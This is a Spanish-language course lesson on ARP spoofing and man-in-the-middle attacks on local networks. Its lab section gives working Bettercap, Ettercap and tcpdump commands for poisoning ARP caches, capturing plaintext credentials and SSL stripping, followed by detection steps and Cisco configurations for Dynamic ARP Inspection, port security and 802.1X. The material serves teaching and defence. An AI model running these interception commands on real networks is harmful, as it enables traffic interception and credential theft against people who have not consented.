ARP spoofing y MITM: cómo funciona, cómo se explota y cómo se corrige

Cada vez que un equipo necesita comunicarse con otro dentro de la misma red local, el sistema operativo recurre a ARP (Address Resolution Protocol) para traducir una dirección IP a una dirección MAC. Es un protocolo diseñado en 1982 (RFC 826) sin ningún mecanismo de autenticación: cualquier host puede afirmar ser el dueño de cualquier IP y el resto de la red lo acepta sin cuestionar. Esa confianza ciega es la base de uno de los ataques más antiguos y más efectivos en redes LAN: el ARP spoofing.

ARP spoofing, también llamado ARP poisoning, permite a un atacante posicionarse como intermediario (man-in-the-middle) entre dos dispositivos, normalmente entre una víctima y el gateway. Desde esa posición puede capturar credenciales en texto plano, inyectar contenido en conexiones HTTP, ejecutar SSL stripping para degradar HTTPS a HTTP y redirigir tráfico DNS. A pesar de tener más de cuarenta años, el ataque sigue siendo viable en 2026 en cualquier red que no implemente controles de capa 2 como Dynamic ARP Inspection.

Es la novena lección de la Tanda 10 de /aprende.

Todo el contenido de esta lección es exclusivamente educativo. Solo debes practicar técnicas de ARP spoofing en laboratorios que controles o en entornos donde cuentes con autorización explícita y por escrito. Interceptar tráfico de red ajeno sin permiso es un delito en la mayoría de jurisdicciones.

Qué es ARP y por qué es vulnerable#

ARP opera en capa 2 del modelo OSI. Cuando un host con IP 192.168.1.10 quiere enviar un paquete a 192.168.1.1 (el gateway), primero consulta su tabla ARP local. Si no tiene la entrada, envía un ARP Request broadcast preguntando "¿quién tiene 192.168.1.1?". El gateway responde con un ARP Reply unicast: "192.168.1.1 está en AA:BB:CC:DD:EE:FF". El host almacena esa asociación en su caché ARP y comienza a enviar tramas Ethernet a esa MAC.

El problema fundamental es que ARP no valida la identidad del emisor. Cualquier dispositivo puede enviar un ARP Reply (incluso sin que nadie haya preguntado: eso se llama gratuitous ARP) anunciando que una IP pertenece a su MAC. El receptor sobrescribe la entrada en su caché sin verificar. Este comportamiento es by design, no un bug: ARP fue pensado para redes pequeñas y confiables donde la velocidad de convergencia importaba más que la seguridad.

Un gratuitous ARP tiene como IP origen y destino la misma dirección. Su uso legítimo es anunciar cambios de MAC (por ejemplo, cuando un servidor migra a otra NIC o durante failover de alta disponibilidad). Pero un atacante abusa de este mecanismo para inyectar entradas falsas en la caché de otros hosts.

Por qué ocurre: la causa raíz#

La vulnerabilidad se reduce a tres propiedades del protocolo:

• ARP no tiene autenticación. No existe campo de firma, certificado ni token. El receptor confía en el contenido del paquete sin más.
• ARP acepta respuestas no solicitadas. Un host puede actualizar su caché ARP con un Reply que nunca pidió.
• Las entradas de caché se sobrescriben libremente. No hay mecanismo de bloqueo ni prioridad para entradas existentes.

Estas tres características combinadas permiten que un atacante conectado a la misma red local envíe paquetes ARP falsos de forma continua y mantenga las cachés de sus víctimas envenenadas indefinidamente. Mientras el atacante tenga conectividad de capa 2 con sus objetivos, el ataque funciona.

La raíz del problema no está en la implementación de un sistema operativo específico: Windows, Linux, macOS, routers Cisco, switches Juniper, todos procesan ARP de la misma manera. La vulnerabilidad es inherente al protocolo.

Tipos y variantes de ataques ARP#

Cuándo es explotable#

ARP spoofing requiere que el atacante esté conectado a la misma red de capa 2 (mismo dominio de broadcast) que la víctima. Los escenarios típicos donde el ataque tiene éxito son:

• Redes WiFi públicas (cafeterías, aeropuertos, hoteles) sin aislamiento de clientes.
• Redes corporativas con VLANs mal segmentadas o con un segmento plano que mezcla usuarios, servidores e impresoras.
• Redes de laboratorio o desarrollo sin controles de capa 2.
• Segmentos de red donde los switches no tienen DAI ni port security configurados.
• Redes con puntos de acceso rogue que el atacante controla.

No funciona entre subredes diferentes (a menos que el atacante comprometa un router), ni a través de Internet. Es un ataque exclusivamente local.

Cómo se detecta#

La detección de ARP spoofing se puede hacer de forma manual o automatizada:

En una inspección manual, el indicador más claro es que dos IPs distintas resuelvan a la misma dirección MAC. Por ejemplo:

C:\> arp -a
Interface: 192.168.1.10
  192.168.1.1           00-11-22-33-44-55     dynamic
  192.168.1.50          00-11-22-33-44-55     dynamic

Si 192.168.1.1 (gateway) y 192.168.1.50 (otro host) comparten la misma MAC, alguien está haciendo spoofing.

Con Wireshark puedes filtrar tráfico ARP y buscar patrones sospechosos:

arp.opcode == 2 && arp.src.hw_mac == 00:11:22:33:44:55

Esto muestra todos los ARP Reply enviados por una MAC específica. Si esa MAC está respondiendo por múltiples IPs, tienes un atacante.

Explotación paso a paso en un laboratorio#

Paso 1: reconocimiento de la red#

Desde la máquina atacante, identifica la subred y los hosts activos:

ip addr show eth0
# Resultado: 192.168.1.50/24

nmap -sn 192.168.1.0/24
# Descubrir hosts activos en la subred

Identifica el gateway y la víctima:

Gateway:  192.168.1.1   (MAC: AA:BB:CC:DD:EE:01)
Víctima:  192.168.1.10  (MAC: AA:BB:CC:DD:EE:10)
Atacante: 192.168.1.50  (MAC: AA:BB:CC:DD:EE:50)

Paso 2: habilitar IP forwarding#

Para que el tráfico interceptado llegue a su destino (y el ataque sea transparente), activa el reenvío de paquetes:

echo 1 > /proc/sys/net/ipv4/ip_forward

Sin este paso, los paquetes de la víctima morirían en tu máquina y el ataque provocaría una denegación de servicio en lugar de un MITM.

Paso 3: ejecutar ARP spoofing con Bettercap#

Bettercap es el framework moderno para ataques de red. Inicia una sesión interactiva:

sudo bettercap -iface eth0

Dentro de la consola de Bettercap, activa el módulo de ARP spoofing:

» set arp.spoof.targets 192.168.1.10
» set arp.spoof.fullduplex true
» arp.spoof on
» net.sniff on

Con fullduplex true, Bettercap envenena tanto la caché de la víctima (haciéndose pasar por el gateway) como la del gateway (haciéndose pasar por la víctima). Eso garantiza MITM bidireccional.

Paso 4: alternativa con Ettercap#

Ettercap es la herramienta clásica. En modo texto:

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.10//

Los parámetros:

• -T: modo texto.
• -q: modo silencioso (menos output).
• -M arp:remote: ataque MITM usando ARP poisoning.
• El primer grupo es el gateway, el segundo la víctima.

Paso 5: captura de credenciales#

Con el MITM activo, cualquier protocolo en texto plano es visible. Usa tcpdump o Wireshark para capturar:

# Capturar tráfico HTTP
tcpdump -i eth0 -A -s0 'tcp port 80 and host 192.168.1.10' | grep -i 'user\|pass\|login'

# Capturar tráfico FTP
tcpdump -i eth0 -A 'tcp port 21 and host 192.168.1.10'

Bettercap puede capturar credenciales automáticamente con el sniffer integrado. Protocolos vulnerables: HTTP, FTP, Telnet, SMTP sin TLS, POP3, IMAP sin TLS.

Paso 6: SSL stripping (degradar HTTPS a HTTP)#

El ataque SSL stripping (Moxie Marlinspike, 2009) funciona cuando la víctima accede a un sitio HTTPS a través de un enlace HTTP (redirección 301/302). El atacante intercepta la redirección y mantiene la conexión con la víctima en HTTP mientras se conecta al servidor real por HTTPS.

Con Bettercap:

» set http.proxy.sslstrip true
» http.proxy on

Limitaciones en 2026: HSTS (HTTP Strict Transport Security) preloaded en navegadores modernos bloquea SSL stripping para dominios principales (Google, Facebook, bancos). Sin embargo, sitios internos corporativos y aplicaciones sin HSTS siguen siendo vulnerables.

Qué puede lograr un atacante#

Cómo se corrige#

La defensa contra ARP spoofing opera en capa 2 del switch. No es algo que se solucione con un firewall perimetral ni con un antivirus en el endpoint.

Dynamic ARP Inspection (DAI)#

DAI es la defensa principal. Funciona en combinación con DHCP Snooping: el switch mantiene una tabla (binding table) que asocia cada IP con la MAC que DHCP le asignó y el puerto donde está conectada. Cuando llega un paquete ARP, el switch consulta esa tabla. Si la asociación IP-MAC del ARP no coincide con lo registrado, el paquete se descarta y se genera un log.

Configuración en Cisco IOS:

! Habilitar DHCP snooping (requisito para DAI)
ip dhcp snooping
ip dhcp snooping vlan 10,20

! Marcar uplinks como trusted (no inspeccionados)
interface GigabitEthernet0/1
  ip dhcp snooping trust

! Habilitar DAI en las VLANs
ip arp inspection vlan 10,20

! Marcar uplinks como trusted para ARP
interface GigabitEthernet0/1
  ip arp inspection trust

Puertos de acceso (donde conectan usuarios) quedan como untrusted por defecto: todo ARP que pase por ellos se valida contra la binding table.

Port security#

Port security limita el número de MACs que un puerto puede aprender. Si un atacante intenta enviar tramas con MACs falsas, el puerto se deshabilita:

interface FastEthernet0/1
  switchport port-security
  switchport port-security maximum 2
  switchport port-security violation shutdown
  switchport port-security mac-address sticky

No previene ARP spoofing directamente (el atacante usa su propia MAC), pero dificulta ataques de MAC flooding que saturan la tabla CAM del switch.

Control de acceso con IEEE 802.1X#

IEEE 802.1X autentica dispositivos antes de permitirles acceso a la red. Un host no autenticado queda en una VLAN de cuarentena o directamente bloqueado. Requiere un servidor RADIUS (FreeRADIUS, Microsoft NPS) y soporte en el switch:

aaa new-model
aaa authentication dot1x default group radius

interface FastEthernet0/1
  dot1x port-control auto

802.1X no impide ARP spoofing per se, pero asegura que solo dispositivos autorizados tengan acceso a la red, reduciendo drásticamente la superficie de ataque.

Entradas ARP estáticas#

En entornos críticos (servidores que se comunican con gateways específicos), puedes configurar entradas ARP estáticas que no se sobrescriben:

# Linux
arp -s 192.168.1.1 AA:BB:CC:DD:EE:01

# Windows
netsh interface ipv4 add neighbors "Ethernet" 192.168.1.1 AA-BB-CC-DD-EE-01

Limitación: no escala. Mantener entradas estáticas para cientos de hosts es inviable en redes grandes.

HTTPS y HSTS#

Aunque no previenen el MITM a nivel de red, HTTPS con HSTS preload elimina la posibilidad de SSL stripping. Los navegadores modernos rechazan conexiones HTTP a dominios en la lista HSTS preload antes de enviar cualquier request.

Errores comunes al defenderse#

• Confiar solo en VLANs. Las VLANs segmentan dominios de broadcast pero dentro de una VLAN el ataque sigue funcionando igual. Sin DAI, una VLAN no protege.
• Activar DAI sin DHCP snooping. DAI necesita la binding table que genera DHCP snooping. Sin ella, DAI descarta todo el tráfico ARP legítimo y la red se cae.
• No marcar uplinks como trusted. Si activas DAI y no marcas los puertos de uplink (trunk hacia otros switches o routers) como trusted, el tráfico ARP legítimo entre switches se bloquea.
• Usar solo port security. Port security limita MACs pero no valida la asociación IP-MAC. Un atacante con una sola NIC puede hacer ARP spoofing sin violar el límite de MACs.
• Ignorar los hosts con IP estática. Servidores, impresoras y equipos con IP estática no aparecen en la DHCP snooping binding table. DAI los bloqueará a menos que crees entradas ARP ACL manuales para ellos.
• No monitorear los logs de DAI. Activar DAI sin revisar los logs es como tener un sistema de alarma sin nadie que escuche. Las violations son indicadores de ataque activo.

Preguntas frecuentes#

¿ARP spoofing funciona en redes WiFi?#

Sí, siempre que la víctima y el atacante estén en el mismo segmento de capa 2. En muchos puntos de acceso WiFi públicos sin client isolation activado, el ataque funciona exactamente igual que en una red cableada. Los APs empresariales con client isolation (también llamado AP isolation o private VLAN) bloquean la comunicación directa entre clientes WiFi, lo que impide el ataque.

¿HTTPS me protege completamente contra ARP MITM?#

HTTPS protege la confidencialidad del contenido, pero si el sitio no usa HSTS preloaded, un atacante puede intentar SSL stripping en la primera conexión. Además, un MITM puede ver los metadatos de la conexión: qué dominios consultas (DNS queries), cuándo y cuántos datos transfieres. Para máxima protección, combina HTTPS + HSTS preload + DNS over HTTPS.

¿Qué diferencia hay entre Bettercap y Ettercap?#

Ettercap fue la herramienta dominante hasta aproximadamente 2018. Bettercap (creada por Simone Margaritelli, evilsocket) la reemplazó como estándar moderno: es modular, tiene una API REST, interfaz web, soporte para BLE y WiFi, caplets (scripts automatizados) y se mantiene activamente. Ettercap sigue funcionando pero su desarrollo es mucho más lento.

¿IPv6 es vulnerable al mismo ataque?#

IPv6 no usa ARP sino NDP (Neighbor Discovery Protocol, RFC 4861). NDP tiene problemas similares de confianza por defecto. El equivalente al ataque es NDP spoofing o Neighbor Advertisement spoofing. La defensa es SEND (Secure Neighbor Discovery, RFC 3971), aunque su adopción es muy baja. En la práctica, las redes IPv6 son igualmente vulnerables a ataques de capa 2 si no se implementan controles.

¿Se puede detectar ARP spoofing desde el endpoint?#

Sí. Herramientas como arpwatch (Linux) o XArp (Windows) monitorean cambios en la tabla ARP local y alertan cuando la MAC asociada al gateway cambia. También puedes crear un script que verifique periódicamente la MAC del gateway. Sin embargo, la defensa más efectiva es a nivel de switch con DAI, porque bloquea el ataque antes de que llegue al endpoint.

¿DAI afecta el rendimiento del switch?#

DAI inspecciona cada paquete ARP en puertos untrusted, lo que consume recursos de CPU del switch. En switches de gama baja con mucho tráfico ARP, puede haber impacto. Los switches empresariales (Cisco Catalyst, Juniper EX, Aruba CX) manejan DAI en hardware (ASIC) con impacto negligible. Es buena práctica configurar rate limiting de ARP en puertos de acceso para evitar que un atacante genere un ARP storm que sature la CPU del switch.

Resumen#

• ARP es un protocolo de capa 2 sin autenticación que traduce IP a MAC. Su diseño permite que cualquier host falsifique asociaciones IP-MAC.
• ARP spoofing posiciona al atacante como man-in-the-middle entre dos dispositivos, permitiendo captura de tráfico, inyección de contenido y SSL stripping.
• Bettercap es la herramienta moderna de referencia para ARP spoofing, con soporte full-duplex y módulos integrados de sniffing y SSL strip.
• Dynamic ARP Inspection (DAI) es la defensa principal: valida paquetes ARP contra la binding table de DHCP snooping y descarta los falsos.
• Port security y 802.1X complementan DAI limitando el acceso a la red y reduciendo la superficie de ataque.
• HTTPS con HSTS preload elimina la efectividad de SSL stripping, pero no previene el MITM a nivel de red.

Fuentes y lecturas recomendadas#

• RFC 826 - An Ethernet Address Resolution Protocol
• MITRE ATT&CK T1557.002 - ARP Cache Poisoning
• Bettercap - documentación oficial
• Cisco - Configuring Dynamic ARP Inspection
• IEEE 802.1X - Port-Based Network Access Control
• RFC 3971 - SEcure Neighbor Discovery (SEND)